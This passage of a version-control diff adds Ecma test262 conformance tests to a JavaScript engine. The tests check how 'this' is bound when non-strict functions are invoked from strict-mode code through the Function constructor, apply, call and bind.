--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-83gs.js
@@ -0,0 +1,15 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-83gs.js
+ * @description Strict - checking 'this' from a global scope (non-strict function declaration called by strict Function constructor)
+ * @noStrict
+ */
+
+function f() {return this!==undefined;};
+if (! ((function () {return Function("\"use strict\";return f();")();})()) ){
+ throw "'this' had incorrect value!";
+}
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-84-s.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-84-s.js
new file mode 100644
index 000000000..807817846
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-84-s.js
@@ -0,0 +1,16 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-84-s.js
+ * @description Strict Mode - checking 'this' (non-strict function declaration called by strict new'ed Function constructor)
+ * @noStrict
+ */
+
+function testcase() {
+fnGlobalObject().f = function() { return this!==undefined;};
+return (function () {return new Function("\"use strict\";return f();")();})();
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-84gs.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-84gs.js
new file mode 100644
index 000000000..23a20910d
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-84gs.js
@@ -0,0 +1,15 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-84gs.js
+ * @description Strict - checking 'this' from a global scope (non-strict function declaration called by strict new'ed Function constructor)
+ * @noStrict
+ */
+
+function f() { return this!==undefined;};
+if (! ((function () {return new Function("\"use strict\";return f();")();})()) ){
+ throw "'this' had incorrect value!";
+} \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-85-s.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-85-s.js
new file mode 100644
index 000000000..abdb33b92
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-85-s.js
@@ -0,0 +1,16 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-85-s.js
+ * @description Strict Mode - checking 'this' (non-strict function declaration called by strict Function.prototype.apply())
+ * @noStrict
+ */
+
+function testcase() {
+function f() { return this!==undefined;};
+return (function () {"use strict"; return f.apply();})();
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-85gs.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-85gs.js
new file mode 100644
index 000000000..093115f32
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-85gs.js
@@ -0,0 +1,15 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-85gs.js
+ * @description Strict - checking 'this' from a global scope (non-strict function declaration called by strict Function.prototype.apply())
+ * @noStrict
+ */
+
+function f() { return this!==undefined;};
+if (! ((function () {"use strict"; return f.apply();})())){
+ throw "'this' had incorrect value!";
+}
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-86-s.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-86-s.js
new file mode 100644
index 000000000..fca8007f3
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-86-s.js
@@ -0,0 +1,16 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-86-s.js
+ * @description Strict Mode - checking 'this' (non-strict function declaration called by strict Function.prototype.apply(null))
+ * @noStrict
+ */
+
+function testcase() {
+function f() { return this===fnGlobalObject();};
+return (function () {"use strict"; return f.apply(null);})();
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-86gs.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-86gs.js
new file mode 100644
index 000000000..f1e23cce2
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-86gs.js
@@ -0,0 +1,15 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-86gs.js
+ * @description Strict - checking 'this' from a global scope (non-strict function declaration called by strict Function.prototype.apply(null))
+ * @noStrict
+ */
+
+function f() { return this===fnGlobalObject();};
+if (! ((function () {"use strict"; return f.apply(null);})())){
+ throw "'this' had incorrect value!";
+}
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-87-s.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-87-s.js
new file mode 100644
index 000000000..be4505ace
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-87-s.js
@@ -0,0 +1,16 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-87-s.js
+ * @description Strict Mode - checking 'this' (non-strict function declaration called by strict Function.prototype.apply(undefined))
+ * @noStrict
+ */
+
+function testcase() {
+function f() { return this===fnGlobalObject()};
+return (function () {"use strict"; return f.apply(undefined);})();
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-87gs.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-87gs.js
new file mode 100644
index 000000000..af76c9a8b
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-87gs.js
@@ -0,0 +1,15 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-87gs.js
+ * @description Strict - checking 'this' from a global scope (non-strict function declaration called by strict Function.prototype.apply(undefined))
+ * @noStrict
+ */
+
+function f() { return this===fnGlobalObject();};
+if (! ((function () {"use strict"; return f.apply(undefined);})())){
+ throw "'this' had incorrect value!";
+} \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-88-s.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-88-s.js
new file mode 100644
index 000000000..72c424567
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-88-s.js
@@ -0,0 +1,17 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-88-s.js
+ * @description Strict Mode - checking 'this' (non-strict function declaration called by strict Function.prototype.apply(someObject))
+ * @onlyStrict
+ */
+
+function testcase() {
+var o = {};
+function f() { return this===o;};
+return (function () {"use strict"; return f.apply(o);})();
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-88gs.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-88gs.js
new file mode 100644
index 000000000..8b85f6993
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-88gs.js
@@ -0,0 +1,16 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-88gs.js
+ * @description Strict - checking 'this' from a global scope (non-strict function declaration called by strict Function.prototype.apply(someObject))
+ * @onlyStrict
+ */
+
+var o = {};
+function f() { return this===o;};
+if (! ((function () {"use strict"; return f.apply(o);})())){
+ throw "'this' had incorrect value!";
+} \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-89-s.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-89-s.js
new file mode 100644
index 000000000..451851d5b
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-89-s.js
@@ -0,0 +1,16 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-89-s.js
+ * @description Strict Mode - checking 'this' (non-strict function declaration called by strict Function.prototype.apply(globalObject))
+ * @onlyStrict
+ */
+
+function testcase() {
+function f() { return this;};
+return (function () {"use strict"; return f.apply(fnGlobalObject()); })() === fnGlobalObject();
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-89gs.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-89gs.js
new file mode 100644
index 000000000..68f415a64
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-89gs.js
@@ -0,0 +1,15 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-89gs.js
+ * @description Strict - checking 'this' from a global scope (non-strict function declaration called by strict Function.prototype.apply(globalObject))
+ * @onlyStrict
+ */
+
+function f() { return this;};
+if ((function () {"use strict"; return f.apply(fnGlobalObject());})() !== fnGlobalObject()){
+ throw "'this' had incorrect value!";
+} \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-8gs.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-8gs.js
new file mode 100644
index 000000000..814fb7ec7
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-8gs.js
@@ -0,0 +1,18 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-8gs.js
+ * @description Strict - checking 'this' from a global scope (FunctionDeclaration includes strict directive prologue)
+ * @onlyStrict
+ */
+
+function f() {
+ "use strict";
+ return typeof this;
+}
+if (f() !== "undefined") {
+ throw "'this' had incorrect value!";
+}
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-9-s.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-9-s.js
new file mode 100644
index 000000000..38ca374e7
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-9-s.js
@@ -0,0 +1,19 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-9-s.js
+ * @description Strict Mode - checking 'this' (FunctionExpression defined within strict mode)
+ * @onlyStrict
+ */
+
+function testcase() {
+"use strict";
+var f = function () {
+ return typeof this;
+}
+return f() === "undefined";
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-90-s.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-90-s.js
new file mode 100644
index 000000000..0b6a4b3f1
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-90-s.js
@@ -0,0 +1,16 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-90-s.js
+ * @description Strict Mode - checking 'this' (non-strict function declaration called by strict Function.prototype.call())
+ * @noStrict
+ */
+
+function testcase() {
+function f() { return this===fnGlobalObject();};
+return (function () {"use strict"; return f.call(); })();
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-90gs.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-90gs.js
new file mode 100644
index 000000000..78a91247f
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-90gs.js
@@ -0,0 +1,15 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-90gs.js
+ * @description Strict - checking 'this' from a global scope (non-strict function declaration called by strict Function.prototype.call())
+ * @noStrict
+ */
+
+function f() { return this===fnGlobalObject();};
+if (! ((function () {"use strict"; return f.call();})())){
+ throw "'this' had incorrect value!";
+}
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-91-s.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-91-s.js
new file mode 100644
index 000000000..2dc4007e9
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-91-s.js
@@ -0,0 +1,16 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-91-s.js
+ * @description Strict Mode - checking 'this' (non-strict function declaration called by strict Function.prototype.call(null))
+ * @noStrict
+ */
+
+function testcase() {
+function f() { return this===fnGlobalObject();};
+return (function () {"use strict"; return f.call(null); })();
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-91gs.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-91gs.js
new file mode 100644
index 000000000..c1052a773
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-91gs.js
@@ -0,0 +1,15 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-91gs.js
+ * @description Strict - checking 'this' from a global scope (non-strict function declaration called by strict Function.prototype.call(null))
+ * @noStrict
+ */
+
+function f() { return this===fnGlobalObject();};
+if (! ((function () {"use strict"; return f.call(null); })())){
+ throw "'this' had incorrect value!";
+}
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-92-s.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-92-s.js
new file mode 100644
index 000000000..3a04a7b6f
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-92-s.js
@@ -0,0 +1,16 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-92-s.js
+ * @description Strict Mode - checking 'this' (non-strict function declaration called by strict Function.prototype.call(undefined))
+ * @noStrict
+ */
+
+function testcase() {
+function f() { return this===fnGlobalObject();};
+return (function () {"use strict"; return f.call(undefined);})();
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-92gs.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-92gs.js
new file mode 100644
index 000000000..4517302f3
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-92gs.js
@@ -0,0 +1,15 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-92gs.js
+ * @description Strict - checking 'this' from a global scope (non-strict function declaration called by strict Function.prototype.call(undefined))
+ * @noStrict
+ */
+
+function f() { return this===fnGlobalObject();};
+if (! ((function () {"use strict"; return f.call(undefined);})())){
+ throw "'this' had incorrect value!";
+}
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-93-s.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-93-s.js
new file mode 100644
index 000000000..e8da599e7
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-93-s.js
@@ -0,0 +1,17 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-93-s.js
+ * @description Strict Mode - checking 'this' (non-strict function declaration called by strict Function.prototype.call(someObject))
+ * @onlyStrict
+ */
+
+function testcase() {
+var o = {};
+function f() { return this===o;};
+return (function () {"use strict"; return f.call(o); })();
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-93gs.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-93gs.js
new file mode 100644
index 000000000..44bd495b4
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-93gs.js
@@ -0,0 +1,16 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-93gs.js
+ * @description Strict - checking 'this' from a global scope (non-strict function declaration called by strict Function.prototype.call(someObject))
+ * @onlyStrict
+ */
+
+var o = {};
+function f() { return this===o;};
+if (! ((function () {"use strict"; return f.call(o); })())){
+ throw "'this' had incorrect value!";
+}
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-94-s.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-94-s.js
new file mode 100644
index 000000000..655ac9e76
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-94-s.js
@@ -0,0 +1,16 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-94-s.js
+ * @description Strict Mode - checking 'this' (non-strict function declaration called by strict Function.prototype.call(globalObject))
+ * @onlyStrict
+ */
+
+function testcase() {
+function f() { return this===fnGlobalObject();};
+return (function () {"use strict"; return f.call(fnGlobalObject());})();
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-94gs.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-94gs.js
new file mode 100644
index 000000000..e752c688e
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-94gs.js
@@ -0,0 +1,15 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-94gs.js
+ * @description Strict - checking 'this' from a global scope (non-strict function declaration called by strict Function.prototype.call(globalObject))
+ * @onlyStrict
+ */
+
+function f() { return this===fnGlobalObject();};
+if (! ((function () {"use strict"; return f.call(fnGlobalObject());})())){
+ throw "'this' had incorrect value!";
+}
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-95-s.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-95-s.js
new file mode 100644
index 000000000..db48e89d9
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-95-s.js
@@ -0,0 +1,16 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-95-s.js
+ * @description Strict Mode - checking 'this' (non-strict function declaration called by strict Function.prototype.bind()())
+ * @noStrict
+ */
+
+function testcase() {
+function f() { return this===fnGlobalObject();};
+return (function () {"use strict"; return f.bind()(); })();
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-95gs.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-95gs.js
new file mode 100644
index 000000000..5d5fc09b8
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-95gs.js
@@ -0,0 +1,15 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-95gs.js
+ * @description Strict - checking 'this' from a global scope (non-strict function declaration called by strict Function.prototype.bind()())
+ * @noStrict
+ */
+
+function f() { return this===fnGlobalObject();};
+if (! ((function () {"use strict"; return f.bind()(); })())){
+ throw "'this' had incorrect value!";
+}
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-96-s.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-96-s.js
new file mode 100644
index 000000000..3c4e652c3
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-96-s.js
@@ -0,0 +1,16 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-96-s.js
+ * @description Strict Mode - checking 'this' (non-strict function declaration called by strict Function.prototype.bind(null)())
+ * @noStrict
+ */
+
+function testcase() {
+function f() { return this===fnGlobalObject();};
+return (function () {"use strict"; return f.bind(null)(); })();
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-96gs.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-96gs.js
new file mode 100644
index 000000000..cbfe417c4
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-96gs.js
@@ -0,0 +1,15 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-96gs.js
+ * @description Strict - checking 'this' from a global scope (non-strict function declaration called by strict Function.prototype.bind(null)())
+ * @noStrict
+ */
+
+function f() { return this===fnGlobalObject();};
+if (! ((function () {"use strict"; return f.bind(null)(); })())){
+ throw "'this' had incorrect value!";
+}
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-97-s.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-97-s.js
new file mode 100644
index 000000000..feac73bd6
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-97-s.js
@@ -0,0 +1,16 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-97-s.js
+ * @description Strict Mode - checking 'this' (non-strict function declaration called by strict Function.prototype.bind(undefined)())
+ * @noStrict
+ */
+
+function testcase() {
+function f() { return this===fnGlobalObject();};
+return (function () {"use strict"; return f.bind(undefined)();})();
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-97gs.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-97gs.js
new file mode 100644
index 000000000..1e79dd96e
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-97gs.js
@@ -0,0 +1,15 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-97gs.js
+ * @description Strict - checking 'this' from a global scope (non-strict function declaration called by strict Function.prototype.bind(undefined)())
+ * @noStrict
+ */
+
+function f() { return this===fnGlobalObject();};
+if (! ((function () {"use strict"; return f.bind(undefined)(); })())){
+ throw "'this' had incorrect value!";
+}
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-98-s.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-98-s.js
new file mode 100644
